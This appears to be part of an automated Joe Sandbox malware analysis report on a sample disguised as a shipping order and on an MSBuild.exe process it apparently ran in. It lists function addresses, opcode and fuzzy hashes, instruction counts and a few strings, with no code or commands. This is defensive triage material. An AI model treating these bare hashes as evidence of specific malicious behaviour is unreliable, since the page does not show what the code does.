Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a616e87f235e5ecfe793fa01475fbe7cbc7081978a0d99ab70d8e28701f32e0
Instruction ID: 2c4b112b92763d3d1a777be07eba150df057b97116c09181a65ecd50290da00b
Opcode Fuzzy Hash: 2a616e87f235e5ecfe793fa01475fbe7cbc7081978a0d99ab70d8e28701f32e0
Instruction Fuzzy Hash: F9310E71A1494E8FDF98EF58D855EFEB7B1FF98300F10016AE519E3295DA34A981CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A0E79 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c4e5393ca7813fce6ae862a3b38da21c7b51fd39d7dcf335b091ad0a3dcca3d
Instruction ID: a195e292f699d85c87899c83bec231b27e433edb3cae75739c37d19921dbc6d4
Opcode Fuzzy Hash: 7c4e5393ca7813fce6ae862a3b38da21c7b51fd39d7dcf335b091ad0a3dcca3d
Instruction Fuzzy Hash: 4011543195E2CE1FD7529B648C229EA7FB0EF06310F0542E7E05CC70E7CA286696C361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AE39D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf0ea8e67292e4db9c2661d06463cb2e9bcd706d599a58430d852b1b8a9004c
Instruction ID: 145f3a160713f1c6344380c87f3dc5d71c13001bf90d9ce9820201f6e2ca39f0
Opcode Fuzzy Hash: cdf0ea8e67292e4db9c2661d06463cb2e9bcd706d599a58430d852b1b8a9004c
Instruction Fuzzy Hash: B3117930A09A5D8FDF45EF68C859AE93BF0FF18305F0001A7E419C71A1DA34A544CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A9CC0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29fefbb95a92fdcf825005dfd0b2c8c34f5d003efc3666706b21f68a51087f9e
Instruction ID: 61ef6e8ad055552d86538acb074220e4a1a01d94d1ff2c050dbdf36fcf9cf205
Opcode Fuzzy Hash: 29fefbb95a92fdcf825005dfd0b2c8c34f5d003efc3666706b21f68a51087f9e
Instruction Fuzzy Hash: 4F117C3194E78A9FD7539BB488695E47FE0EF06220F1A04FBC449CA0B3EA6C1985C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A3D39 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9be0e6f0aaf02b9486ed9aa53ea889e8d50bc75ebb3f67337ac5b79957c2e587
Instruction ID: e4f38ad3f42dcdf15992991c861adcd6c6a3568c0ac79f520a155b6e8298efe5
Opcode Fuzzy Hash: 9be0e6f0aaf02b9486ed9aa53ea889e8d50bc75ebb3f67337ac5b79957c2e587
Instruction Fuzzy Hash: 2001A23051DBCC4FC796DB24C4605AABFE1EF89210F4905BFE089C73A2CA25DA04C752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A04A0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4237bda1c32c5fa8263474df53e3a9aa5d174c7309e5fac4ed76565d85a0047e
Instruction ID: 97c62232bf5ab6aa20db7cfe99adca0f92e3a94144f553a622454f812ec5ac9b
Opcode Fuzzy Hash: 4237bda1c32c5fa8263474df53e3a9aa5d174c7309e5fac4ed76565d85a0047e
Instruction Fuzzy Hash: B201AD30A2490E5FEB54EF68C815AFEB3B0FF48304F0002B6E41DC21A9DE34A5918641

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4369 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9a0789d20278c37ba01bf727b2ae297d4911fa0d4a3405869fe98ddefc3275e
Instruction ID: 4b2df787322886fa91808c6cf89399833abc6efdd18fa0b07dcbdafadef2fcc9
Opcode Fuzzy Hash: d9a0789d20278c37ba01bf727b2ae297d4911fa0d4a3405869fe98ddefc3275e
Instruction Fuzzy Hash: 13F0F43190A54D8FDF61AF549C516E93BA0FF5A300F050279E81C831E2CA29B665C390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A57F0 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae83b5326297d32f60fe9bf89724ba1780d2cfe46dcc61ee41c2865029fe00f5
Instruction ID: 21657caf012cf86487f90d08d3b454c289e84c4b9e7d0fcfd3002e98afa20335
Opcode Fuzzy Hash: ae83b5326297d32f60fe9bf89724ba1780d2cfe46dcc61ee41c2865029fe00f5
Instruction Fuzzy Hash: 31F08C62A4F2CA0FE726576858755EA7F60AF06214B0A02F7D0988A0E3D908258AC362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A57F5 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c4dc832d2032773706604a29161457fc3e47ab530b99b20ee490f1684e9dcfa
Instruction ID: 2b063dadb1e5f5008844941cd6b588ca9d0a8e7fd0891bf6abd3b2f668d006d6
Opcode Fuzzy Hash: 7c4dc832d2032773706604a29161457fc3e47ab530b99b20ee490f1684e9dcfa
Instruction Fuzzy Hash: EAF04F6154F3CA0FE722576848755EA7F70BF07250B0A01F7D4988A1E3D918159AC362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AB8D0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ae160f72acbc3052f6fd3da6003957ce8f1572bcea7bfe2e844643fe5f188c
Instruction ID: ca54a547e5f7d181a515670e78de01b9a539e0e4d8f8b376bed8f0218d900003
Opcode Fuzzy Hash: 01ae160f72acbc3052f6fd3da6003957ce8f1572bcea7bfe2e844643fe5f188c
Instruction Fuzzy Hash: A9F0B630A14A0D8FDF84EF68C854ABA77F4FB68304F10056AE41DD32A4DB71AA50CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A9A01 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1822b2b57faed0f6f7a6de31e62fa71ba3d7e23e9ad5f77c9562a4ac0631213c
Instruction ID: 772584b736cc3c3853f93fba159b548c5cf4f061af3f2b3c1aa8de942974c166
Opcode Fuzzy Hash: 1822b2b57faed0f6f7a6de31e62fa71ba3d7e23e9ad5f77c9562a4ac0631213c
Instruction Fuzzy Hash: D5E0203194F28E4FDB225B5848756D83B60FF45300F4505B7D15C8A0E3EF1CA659C381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AB9F5 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54750b4ef2105ee7ffbd32cbfb0f2eeb482d1fe4fedfe9e74305dd2a95de1841
Instruction ID: c1130d65b35cc1c293d1ed214661d84ad0c451a9dd1fa6c9e9904470f9c00261
Opcode Fuzzy Hash: 54750b4ef2105ee7ffbd32cbfb0f2eeb482d1fe4fedfe9e74305dd2a95de1841
Instruction Fuzzy Hash: D1E0922294F28D4BE7325B9488651F87A64FF49200F4A52BAE14C450F3DA1D76448352

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8ABCE9 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64ac3a47a0223e59fe7bce8df026c40683be92b56827327b9633e60462cdb29f
Instruction ID: b761221382f512c7140f77de0035e7733552d40a69b815a614437479051dc3c6
Opcode Fuzzy Hash: 64ac3a47a0223e59fe7bce8df026c40683be92b56827327b9633e60462cdb29f
Instruction Fuzzy Hash: 28E06D2284F38D4BE7325BA098711E83F74FF1A200F5611F3D48C860E3DA6D6A59C352

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4FA0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2adbf8c39d6cbe4cfc2dcc5836cdcfaa6e40493c63387aad06e9f97dfaf0e55
Instruction ID: 376973ca593a903fbfcb110aadf25da6a46f079a24300405455b9a19a9c44e26
Opcode Fuzzy Hash: b2adbf8c39d6cbe4cfc2dcc5836cdcfaa6e40493c63387aad06e9f97dfaf0e55
Instruction Fuzzy Hash: FAE0ED3092554DABEB51EFA498556EDB7E0FF08304F410476E41CD21A5EA34A294CB51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MSBuild.exePID: 6816, Parent PID: 6424COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 0115ADF0 Relevance: 2.7, Instructions: 2707COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efcab98e701884edf2b7d94e0d1f296ff33f19e0e804b86fb73c9d2e3ccb8fa8
Instruction ID: f886f829a2be1d5eb320677b954f469458c9e510c52273d7f2654de3eeef9ad4
Opcode Fuzzy Hash: efcab98e701884edf2b7d94e0d1f296ff33f19e0e804b86fb73c9d2e3ccb8fa8
Instruction Fuzzy Hash: 7553E631C10B1ACACB55EF68C890599F7B1FF99300F15D79AE4587B221EB70AAD4CB81

Uniqueness

Uniqueness Score: -1.00%

Function 01153E80 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\Vl, xrefs: 011540CB

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID: \Vl
API String ID: 0-682378881
Opcode ID: 97a2041adf35292a429ac86bdf469fb6056b8fa711da8c4882ee14e23d22d06d
Instruction ID: 14f483c5b427c0788c65c48d52ad0f6063bc51ed4ccc8e354d8e6de878c7d57d
Opcode Fuzzy Hash: 97a2041adf35292a429ac86bdf469fb6056b8fa711da8c4882ee14e23d22d06d
Instruction Fuzzy Hash: 6E916270E10209CFDF58CFA9C9957DEBBF2BF48314F148529E825A7254EB749885CB82

Uniqueness

Uniqueness Score: -1.00%

Function 01154A98 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9196b616d49f77cfd01150a62f4d6869e0b471c6962daccd759ccf7e32b630f
Instruction ID: b79368edc3b7544a2c787670cff1e7cb29fa4d1ac7f28f777f85496a7b62aba6
Opcode Fuzzy Hash: a9196b616d49f77cfd01150a62f4d6869e0b471c6962daccd759ccf7e32b630f
Instruction Fuzzy Hash: CCB17E70E00209CFDB58CFA9C89179DBBF2AF88314F148529D829E7694FB749885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 01154806 Relevance: 2.7, Strings: 2, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Vl, xrefs: 011549D2
\Vl, xrefs: 0115487F

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID: \Vl$\Vl
API String ID: 0-415357090
Opcode ID: 1d2b2dcf94695908c4cfaea762640ac80babfca181c33d70687929e95addc3c6
Instruction ID: 56271cae0744aebfefb6fbbd4dbe765e980c0e44eab673ee4b52f075942e0b30
Opcode Fuzzy Hash: 1d2b2dcf94695908c4cfaea762640ac80babfca181c33d70687929e95addc3c6
Instruction Fuzzy Hash: 1C718DB0E00249CFDB58CFA9C9857DEBFF1BF48314F148129E825A7654EB349886CB85

Uniqueness

Uniqueness Score: -1.00%

Function 01154810 Relevance: 2.7, Strings: 2, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Vl, xrefs: 011549D2
\Vl, xrefs: 0115487F

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID: \Vl$\Vl
API String ID: 0-415357090
Opcode ID: 26fd8b3006ddbbb2e0d3b5bba1c0732c2b5f003df0870667ecf7b878c057375c
Instruction ID: 4ee36b028dbe1a4e2687143a80515b79ee2b6542150c1fe56bb8808d0c49bc34
Opcode Fuzzy Hash: 26fd8b3006ddbbb2e0d3b5bba1c0732c2b5f003df0870667ecf7b878c057375c
Instruction Fuzzy Hash: D9718070E00249CFDF58CFA9C9857DEBBF2BF88314F148129E825A7654EB749885CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0641EA38 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0641EAA7

Memory Dump Source

Source File: 00000001.00000002.4126802505.0000000006410000.00000040.00000800.00020000.00000000.sdmp, Offset: 06410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6410000_MSBuild.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: c19f97a29be080fb7efe80f42e74827a6f3ea7e201a7b184b2e164229c899c16
Instruction ID: b3413803fde225c8e388e2e64be5a8e79c5575881cc77e46858580498d81c5f2
Opcode Fuzzy Hash: c19f97a29be080fb7efe80f42e74827a6f3ea7e201a7b184b2e164229c899c16
Instruction Fuzzy Hash: A51144B5C002599FCB10CF9AC844ADEFBF4FF48314F15826AE818A7240C378AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0641EA40 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0641EAA7

Memory Dump Source

Source File: 00000001.00000002.4126802505.0000000006410000.00000040.00000800.00020000.00000000.sdmp, Offset: 06410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6410000_MSBuild.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 79aefcdd2914582993bb5edb89a9266d4303367d5091db91da333f0b1de7b1da
Instruction ID: 875ae629636668af5ccfd65faea0af75098743ff551b666ec2868192ed164f3b
Opcode Fuzzy Hash: 79aefcdd2914582993bb5edb89a9266d4303367d5091db91da333f0b1de7b1da
Instruction Fuzzy Hash: 641120B5C002599BCB10DF9AC945BDEFBF4FF48320F15816AD818A7280D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01153E74 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

\Vl, xrefs: 011540CB

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID: \Vl
API String ID: 0-682378881
Opcode ID: 645bbc41b4f5ebfedf1ed38ba190e59e215b30d67cdf90f39ea4ea3704fc0d52
Instruction ID: 47f66afefcbd550f69fc4e2ba7ad399d5dc4596842160f8c38c1291e184f5a75
Opcode Fuzzy Hash: 645bbc41b4f5ebfedf1ed38ba190e59e215b30d67cdf90f39ea4ea3704fc0d52
Instruction Fuzzy Hash: 0DA16F70E10209CFDF58CFA9C9957DDBBF1BF48314F248129E825A7254EB749886CB82

Uniqueness

Uniqueness Score: -1.00%

Function 01156ECF Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01156F06

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 3609d04d02dc66cc789f54bb69ab15475243c5eb4e3dd74adc4fd3e438cd9f52
Instruction ID: f1263313cb3e05a1564b789de9757502a2474a709b8f088e5dd31c0cbe1f80a7
Opcode Fuzzy Hash: 3609d04d02dc66cc789f54bb69ab15475243c5eb4e3dd74adc4fd3e438cd9f52
Instruction Fuzzy Hash: 6C519C34700214CFDB48DB78C469AAE7BF6EF89304F6044A9E816EB3A1DB759C41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01157D90 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01157DAB

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: ee1ba4f3507a8dcad2d135253c2940f123d75d07d406f2ec80f896984e2edddb
Instruction ID: 105ec9b05da55f5db1097811f73e8e9dcfa8d74ae5712e914bbc1fd2782a1016
Opcode Fuzzy Hash: ee1ba4f3507a8dcad2d135253c2940f123d75d07d406f2ec80f896984e2edddb
Instruction Fuzzy Hash: 2B316F31E10219CFDB5ADFA9C4457AEB7B6FF85300F608526E916EB280DB70A942CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01157D80 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01157DAB

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: f2ac2795300e3e6911c30ed67368ef929636df0b49949d0f2308f71486bdb527
Instruction ID: 6e6eb545a7162b8aa957f8aec5a0a3f922a742254cee97910077ca70a272c67e
Opcode Fuzzy Hash: f2ac2795300e3e6911c30ed67368ef929636df0b49949d0f2308f71486bdb527
Instruction Fuzzy Hash: 01316F31E1021ACFDB5ADF79C4457AEB7B2EF85300F658429E816EB281DBB09946CB41

Uniqueness

Uniqueness Score: -1.00%

Function 01156B98 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01156BCF

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: d1d293aa6dab54de42f3c9db71fecaa90bc9398ecfcf68e9d130e9a0790f81ac
Instruction ID: 45b1bf12cee633cc48c627ab983581d914d4eab9c45c8f5eb1a9993ce36a6e5d
Opcode Fuzzy Hash: d1d293aa6dab54de42f3c9db71fecaa90bc9398ecfcf68e9d130e9a0790f81ac
Instruction Fuzzy Hash: AB213A303042805FC716A77C94606AE7FF2EF86304B0448EED096CB69ADE354C46C782

Uniqueness

Uniqueness Score: -1.00%

Function 01158720 Relevance: .6, Instructions: 555COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc5c3d6e7242f89a30b41418e045cb6f06e7a7f1e7eb952195be439139fb2537
Instruction ID: 80ae6bfb3bbdb7396a9d570775cae266eb85225b3d19e4df7623eee5f0e996c3
Opcode Fuzzy Hash: cc5c3d6e7242f89a30b41418e045cb6f06e7a7f1e7eb952195be439139fb2537
Instruction Fuzzy Hash: 1E124030B022129FDB59AB3CE45422D33A6EBC5319B508D39E417DB795CF35DD8A8B81

Uniqueness

Uniqueness Score: -1.00%

Function 0115A1AA Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd92bfc8ecd88ed45d458256a64e45dc13a379be9d0f9e05eb1c33ad93618de
Instruction ID: dd25b73a9615201779866a0bf04fad33203911974ab78ec7bea21fabbbd94698
Opcode Fuzzy Hash: 5bd92bfc8ecd88ed45d458256a64e45dc13a379be9d0f9e05eb1c33ad93618de
Instruction Fuzzy Hash: A1E1D330B00215CFDB59DBA8E594A6EBBF2EF88314F248565E916DB391CB34DC42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01154A8E Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4692faaced3fe96c3f57e7f911a9b3352e2eeb0e031b35c9acc94d865c120149
Instruction ID: 72b3418ef2cc08ed7598381b4a7a7b2d1f3ec0177b2bcab91370f0ee4c2913ef
Opcode Fuzzy Hash: 4692faaced3fe96c3f57e7f911a9b3352e2eeb0e031b35c9acc94d865c120149
Instruction Fuzzy Hash: 0AB17D70E00209CFDB58CFA9D8917DDBBF2AF88314F148129D829E7694EB749885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0115A6C8 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd4b40e86aa39674b18272e8d47df67887cf0b174c8ebd795f65b758aa4e4642
Instruction ID: c3f4052264ee647f6648bb37a77b27cb2dff8e885eb2521e3c0c9f721837c983
Opcode Fuzzy Hash: cd4b40e86aa39674b18272e8d47df67887cf0b174c8ebd795f65b758aa4e4642
Instruction Fuzzy Hash: EF517B71A00204DFDB44CF69E984799FBB2FF88311F14C2AAE9189B396E770D945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01156CD4 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f04b0d1321caf23094022b50b49379f267e2d1dce51b4087a9e1c20a9d91f6e
Instruction ID: d7c4e31888249882f8b57b0cfec43fa6e019714e9a72d0fb73d0a3d0c31c85b1
Opcode Fuzzy Hash: 1f04b0d1321caf23094022b50b49379f267e2d1dce51b4087a9e1c20a9d91f6e
Instruction Fuzzy Hash: 6E513370D00228CFDB58CFA9C889B9DBBB1FF48304F548529E869AB351D774A844CF95

Uniqueness

Uniqueness Score: -1.00%

Function 01156CE0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d39b158f71f635543509a38da728e85ea30c50abc9dd0867f21bb23fb372637
Instruction ID: 872ab4aa1b054fe478b4b086a289a16af748ca1a2263ef589fe80bfe5231393e
Opcode Fuzzy Hash: 5d39b158f71f635543509a38da728e85ea30c50abc9dd0867f21bb23fb372637
Instruction Fuzzy Hash: E35133B4D00228CFDB58CFA9C885B9DBBB1FF48314F548529E829AB350DB74A844CF95

Uniqueness

Uniqueness Score: -1.00%

Function 01151128 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2cf5a67092ff5468fbb2110a6236dfbd4dade51894fe54ac940a964eab9cd91
Instruction ID: 455a07e52c722097944239e99059846222c6ea5e5712e9e36871da1815825646
